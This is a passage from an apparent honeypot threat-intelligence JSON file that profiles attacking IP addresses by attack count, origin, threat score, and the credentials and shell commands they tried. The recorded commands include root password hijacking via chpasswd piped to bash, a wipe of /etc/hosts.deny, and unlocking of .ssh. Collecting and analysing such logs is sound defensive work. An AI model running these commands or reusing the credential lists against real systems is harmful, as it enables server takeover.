        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T02:20:16.120000+00:00",
        "last_seen_30d": "2026-03-29T03:36:28.449000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "137.184.85.224": {
      "attack_count": 235,
      "first_seen": "2026-03-02T19:38:23.107Z",
      "last_seen": "2026-03-16T02:21:30.490Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "dhiraj",
        "one",
        "patricia",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1233218613",
        "345gs5662d34",
        "123456",
        "232323",
        "hallo12",
        "icui4cu",
        "one1234",
        "patricia123",
        "secret",
        "temp1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"one1234\\niq6aFoi0ul92\\niq6aFoi0ul92\\n\"|passwd",
        "echo \"root:W83SNRrNpPTc\"|chpasswd|bash",
        "echo \"root:ajNf7aBJufpy\"|chpasswd|bash",
        "echo -e \"one1234\\niq6aFoi0ul92\\niq6aFoi0ul92\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T19:38:23.107000+00:00",
        "last_seen_30d": "2026-03-16T02:22:32.106000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 235,
        "Suricata": 32
      }
    },
    "171.25.158.47": {
      "attack_count": 191,
      "first_seen": "2026-03-03T10:31:18.445Z",
      "last_seen": "2026-03-03T10:57:21.239Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rooter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100dedi@",
        "Apple2020",
        "Bingo@1993",
        "Qaz@12345678",
        "Root123qwe",
        "Sd123456",
        "admin!123",
        "jk",
        "qwe123.",
        "rooter",
        "sor123in"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FtMsqgQentrM\"|chpasswd|bash",
        "echo \"root:KP3uHo3gCrW7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:31:18.445000+00:00",
        "last_seen_30d": "2026-03-03T10:58:24.105000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 35
      }
    },
    "160.251.101.169": {
      "attack_count": 187,
      "first_seen": "2026-03-21T17:07:51.495Z",
      "last_seen": "2026-03-26T14:30:51.021Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "max",
        "root",
        "stream",
        "ben",
        "es",
        "felix",
        "guillaume",
        "hamed",
        "kbe",
        "lisa",
        "meng",
        "pwserver",
        "rochelle",
        "sac",
        "sc",
        "sl",
        "steamcmd",
        "vagrant",
        "vikas"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Administrat0r",
        "ben123",
        "es",
        "felix123",
        "kbepass",
        "meng",
        "pwserver1234",
        "qqq",
        "rochelle",
        "sacpassword",
        "sc123",
        "steamcmd@123456",
        "vagrantpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nRGasWZxDEXEU\\nRGasWZxDEXEU\\n\"|passwd",
        "echo -e \"12345678\\nRGasWZxDEXEU\\nRGasWZxDEXEU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T17:07:51.495000+00:00",
        "last_seen_30d": "2026-03-26T14:31:58.750000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 56
      }
    },
    "108.174.57.152": {
      "attack_count": 171,
      "first_seen": "2026-03-02T11:05:00.083Z",
      "last_seen": "2026-03-02T11:33:15.797Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "@aA123456",
        "Qwerty1234",
        "a!@sd",
        "aa162113",
        "hallo123",
        "kokos",
        "qq12345678",
        "qwe@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:aLpCYZi6IqdJ\"|chpasswd|bash",
        "echo \"root:cc2OlMfq8gZ8\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:05:00.083000+00:00",
        "last_seen_30d": "2026-03-02T11:34:18.422000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 26
      }
    },
    "122.252.246.1": {
      "attack_count": 168,
      "first_seen": "2026-03-29T03:12:32.839Z",
      "last_seen": "2026-03-29T04:38:28.344Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ@WSX#EDC",
        "12369874",
        "123Password",
        "1q2w3e4r5t6y7u8i9o0p",
        "3245gs5662d34",
        "345gs5662d34",
        "Hello@2025",
        "P@sswd12#$",
        "PaSswORd2024",
        "Pass!@#123",
        "Rootroot1",
        "admin123admin",
        "gregory",
        "hannah",
        "j0204246",
        "misaki123",
        "pingwin",
        "q1w2e3e3",
        "test01",
        "ubuntu1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:epWuJGOQ17du\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T03:12:32.839000+00:00",
        "last_seen_30d": "2026-03-29T04:39:30.156000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "45.205.1.3": {
      "attack_count": 153,
      "first_seen": "2026-03-16T09:28:14.526Z",
      "last_seen": "2026-03-20T17:21:52.204Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "administrator",
        "1234",
        "ADMIN",
        "Administrator",
        "NetLinx",
        "amx",
        "baby",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "Amx1234!",
        "changeme",
        "password",
        "!!Huawei",
        "*58298",
        "123",
        "123123",
        "12341234",
        "123456",
        "19761213",
        "2601hx",
        "2oiidxii22",
        "4276365",
        "54321",
        "5up",
        "7ujMko0admin",
        "LSiuY7pOmZG2s",
        "S2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T01:32:27.469000+00:00",
        "last_seen_30d": "2026-03-20T17:31:52.679000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 67,
        "Honeytrap": 9
      }
    },
    "138.197.146.102": {
      "attack_count": 150,
      "first_seen": "2026-03-10T22:50:00.110Z",
      "last_seen": "2026-03-10T23:14:05.449Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password1",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:50:00.110000+00:00",
        "last_seen_30d": "2026-03-10T23:15:11.189000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 64
      }
    },
    "222.124.17.227": {
      "attack_count": 141,
      "first_seen": "2026-03-03T18:18:58.000Z",
      "last_seen": "2026-03-03T18:49:26.937Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ1qaz",
        "820927",
        "Bingo@1993",
        "Lala1234",
        "Ly123456@",
        "Qq123456",
        "Qwer123456",
        "Root123#",
        "calvin",
        "panasonic",
        "qwe321"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:azF7MiTrl2nT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:18:58+00:00",
        "last_seen_30d": "2026-03-03T18:50:34.889000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 36
      }
    },
    "103.63.108.25": {
      "attack_count": 124,
      "first_seen": "2026-03-09T22:52:51.078Z",
      "last_seen": "2026-03-09T23:17:25.932Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admins",
        "345gs5662d34",
        "clawd",
        "cliente",
        "khalil",
        "mark",
        "nutanix",
        "pp",
        "ram",
        "smbuser",
        "ubuntu",
        "verdaccio"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "password",
        "1234",
        "12345",
        "123qweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "rampass",
        "smbuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nMse8ENyd6i2o\\nMse8ENyd6i2o\\n\"|passwd",
        "echo -e \"password\\nMse8ENyd6i2o\\nMse8ENyd6i2o\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38732,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:52:51.078000+00:00",
        "last_seen_30d": "2026-03-09T23:18:27.651000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "58.186.20.143": {
      "attack_count": 124,
      "first_seen": "2026-03-12T09:14:46.811Z",
      "last_seen": "2026-03-12T09:40:46.696Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "bounce",
        "345gs5662d34",
        "angel",
        "auser",
        "choi",
        "claude",
        "erpnext",
        "jhlee",
        "mcuser",
        "ming",
        "odin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "aa123456..",
        "auser123",
        "bouncepass",
        "claude123",
        "jhlee123!",
        "odin123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"bouncepass\\nM28y3aUlbNrq\\nM28y3aUlbNrq\\n\"|passwd",
        "echo -e \"bouncepass\\nM28y3aUlbNrq\\nM28y3aUlbNrq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:14:46.811000+00:00",
        "last_seen_30d": "2026-03-12T09:41:53.364000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "87.206.196.175": {
      "attack_count": 119,
      "first_seen": "2026-03-20T03:45:06.394Z",
      "last_seen": "2026-03-20T04:21:05.392Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "deploy",
        "jessica",
        "speedtest",
        "tin",
        "ubuntu",
        "website"
      ],
      "passwords_attempted": [
        "Passw0rd",
        "Website123!",
        "deploypass",
        "jessica@123456",
        "speedtestpassword",
        "tinpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"jessica@123456\\nLYI1PIbIlIlC\\nLYI1PIbIlIlC\\n\"|passwd",
        "echo -e \"jessica@123456\\nLYI1PIbIlIlC\\nLYI1PIbIlIlC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Krakow",
      "asn": 9141,
      "as_org": "Play",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:45:06.394000+00:00",
        "last_seen_30d": "2026-03-20T04:22:18.823000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 42
      }
    },
    "159.195.61.208": {
      "attack_count": 118,
      "first_seen": "2026-03-14T22:42:06.304Z",
      "last_seen": "2026-03-14T23:00:32.856Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bryan",
        "ceshi",
        "ftp_test",
        "lq",
        "lucas",
        "mssql",
        "pavel",
        "qwerty",
        "znc"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty123!",
        "azer1234",
        "bryan",
        "ftp_test1234",
        "lq123",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:OYhlVajqkXmz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:42:06.304000+00:00",
        "last_seen_30d": "2026-03-14T23:01:33.537000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "213.6.203.226": {
      "attack_count": 118,
      "first_seen": "2026-03-04T20:00:43.783Z",
      "last_seen": "2026-03-04T20:22:37.241Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qaz",
        "2qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Ga123456",
        "Lo123456",
        "P@ssw0rd55",
        "Qwer!234",
        "Wg.123345",
        "armagedon",
        "h12345",
        "server2016"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6Y1DuL7MjE1G\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
